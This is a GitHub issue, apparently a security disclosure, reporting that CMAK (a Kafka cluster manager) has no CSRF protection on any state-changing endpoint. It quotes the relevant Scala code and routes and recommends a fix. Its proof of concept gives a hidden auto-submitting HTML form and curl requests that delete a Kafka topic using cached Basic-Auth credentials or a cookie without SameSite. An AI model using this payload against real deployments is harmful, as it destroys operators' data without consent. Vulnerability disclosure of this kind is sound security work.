Skip to content

Cross-Site Request Forgery on all state-changing operations (delete topic, reassign partitions, leader election, cluster/config changes) #935

Description

@geo-chen

Affected Versions: all releases including 3.0.0.7 (confirmed on commit 30abfde; validated live on 3.0.0.x)

Summary

CMAK does not implement any CSRF protection. None of its state-changing POST endpoints validate an anti-CSRF token, and the only HTTP filter installed is the basic-authentication filter. When CMAK is deployed with authentication enabled (basic auth or LDAP, the only supported way to protect it), an attacker who lures an authenticated operator to a malicious web page can silently force destructive Kafka administration actions in that operator's session: deleting topics, triggering partition reassignment, running preferred-replica leader election, and adding, modifying or disabling clusters and broker/topic configuration. A single hidden auto-submitting form is enough to delete a production Kafka topic.

Details

Play Framework does not enable CSRF protection unless the application explicitly installs play.filters.csrf.CSRFFilter (or mixes in CSRFComponents / lists it in play.filters.enabled). CMAK uses a hand-written application loader and installs exactly one filter:

app/loader/KafkaManagerLoader.scala

override lazy val httpFilters: Seq[Filter] = Seq(BasicAuthenticationFilter(context.initialConfiguration))

That is the complete filter chain. There is no CSRFFilter, no play.filters.csrf configuration in conf/application.conf, and no per-action CSRF check. A grep of app/views confirms not a single view emits a CSRF token (@helper.CSRF, csrfToken, @b4.CSRFTokenName, etc. are absent), so the POST handlers have nothing to validate against.

All destructive operations are plain Action.async handlers that bind a form and act, with no token check. For example, topic deletion:

conf/routes

POST   /clusters/:c/topics/delete   controllers.Topic.handleDeleteTopic(c:String, t:String)

app/controllers/Topic.scala

def handleDeleteTopic(clusterName: String, topic: String) = Action.async { implicit request:Request[AnyContent] =>
  featureGate(KMTopicManagerFeature) {
    defaultDeleteForm.bindFromRequest.fold(
      formWithErrors => ...,
      deleteTopic => {
        kafkaManager.deleteTopic(clusterName, deleteTopic.topic).map { errorOrSuccess => ... }
      }
    )
  }
}

defaultDeleteForm requires only a topic text field, and the route binds the topic name t from the query string. There is no origin check, no token, no double-submit cookie. The same pattern applies to every state-changing route in conf/routes, including:

  • POST /clusters/:c/topics/delete (delete topic)
  • POST /clusters/:c/topics/create (create topic)
  • POST /clusters/:c/assignment, /assignment/generate, /assignments/run, /topics/:t/assignments/manual (partition reassignment)
  • POST /clusters/:c/leader, /leader/schedule, /leader/schedule/cancel (preferred replica election)
  • POST /clusters/:c/topics/:t/updateConfig, /brokers/:b/updateConfig (config changes)
  • POST /clusters, POST /clusters/:c (add / update / disable / delete cluster)
  • POST /clusters/:c/logkafkas/... (logkafka create/delete/config)

Why an authenticated victim's browser carries the credential cross-site:

  1. HTTP Basic Auth: once the operator authenticates, the browser caches the credentials for the CMAK origin and automatically attaches the Authorization header to every subsequent request to that origin, including cross-site form submissions. The forged request is therefore authenticated.
  2. Session cookie: the basic-auth filter also sets a cookie to skip re-authentication:

app/controllers/BasicAuthenticationFilter.scala

private def cookie = Cookie(COOKIE_NAME, cookieValue, maxAge = Option(3600))

The cookie is set with no SameSite and no Secure attribute. Observed response header:

Set-Cookie: play-basic-authentication=YWRtaW5TM2NyZXRBZG1pblBhc3M=; Max-Age=3600; Path=/; HTTPOnly

The auth filter itself only decides whether to challenge; it performs no CSRF validation:

app/controllers/BasicAuthenticationFilter.scala

def apply(next: RequestHeader => Future[Result])(requestHeader: RequestHeader): Future[Result] =
  if (configuration.enabled && isNotExcluded(requestHeader)) authenticator.checkAuthentication(requestHeader, next)
  else next(requestHeader)

PoC

Deployment: CMAK with authentication enabled (the documented way to secure it), e.g. KAFKA_MANAGER_AUTH_ENABLED=true, KAFKA_MANAGER_USERNAME=admin, KAFKA_MANAGER_PASSWORD=..., managing a cluster named testcluster that has a topic victim-topic.

Attack: the operator is logged in to CMAK in their browser. They open an attacker page containing:

<html>
  <body onload="document.forms[0].submit()">
    <form action="http://CMAK-HOST:9000/clusters/testcluster/topics/delete?t=victim-topic" method="POST">
      <input type="hidden" name="topic" value="victim-topic">
    </form>
  </body>
</html>

The browser submits the form to CMAK. The cached Basic-Auth credentials (and/or the no-SameSite cookie) are attached automatically, the request passes the auth filter, and CMAK deletes the topic. No CSRF token exists to stop it.

Reproduced live with curl, which simulates exactly what the victim's browser sends (only the auto-attached credential, a simple form body, no CSRF token):

  1. Confirm the topic exists:
$ curl -s -u admin:PASS http://CMAK-HOST:9000/api/status/testcluster/topics
{"topics":["__consumer_offsets","victim-topic"]}
  1. Forged cross-site delete via cached Basic-Auth replay (Authorization header present, NO cookie, NO token):
$ curl -s -D - -o /dev/null \
    -H "Authorization: Basic YWRtaW46UEFTUw==" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -X POST "http://CMAK-HOST:9000/clusters/testcluster/topics/delete?t=victim-topic" \
    --data "topic=victim-topic"
HTTP/1.1 200 OK
... response body says "Delete Topic" / "Done!" ...
  1. The same works with only the cookie (no Authorization header), proving the no-SameSite cookie is also a viable vector:
$ curl -s -o /dev/null -w "%{http_code}\n" \
    -b "play-basic-authentication=YWRtaW5...=" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -X POST "http://CMAK-HOST:9000/clusters/testcluster/topics/delete?t=victim-topic" \
    --data "topic=victim-topic"
200
  1. The topic is gone from both CMAK and Kafka:
$ curl -s -u admin:PASS http://CMAK-HOST:9000/api/status/testcluster/topics
{"topics":["__consumer_offsets"]}

The Content-Type: application/x-www-form-urlencoded body and the query-string parameter are both producible by a plain cross-origin HTML form, so no special CORS conditions or preflight are required.

Impact

Any CMAK deployment that relies on basic-auth or LDAP for access control is affected. An attacker who gets an authenticated operator to visit a web page (or render an image/iframe pointing at such a page) can perform any CMAK administrative action as that operator without ever knowing the password: delete Kafka topics (permanent data loss), reassign partitions and run leader elections (cluster disruption and rebalancing storms), change topic or broker configuration, and add, modify, disable or remove managed clusters. The most damaging single action, deleting a topic, destroys all of its data and is irreversible. This is a confidentiality-neutral but high integrity and high availability impact against the managed Kafka clusters. The fix is to enable Play's CSRF protection (install CSRFFilter, emit and require CSRF tokens on all POST forms) and to set SameSite=Strict and Secure on the authentication cookie.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions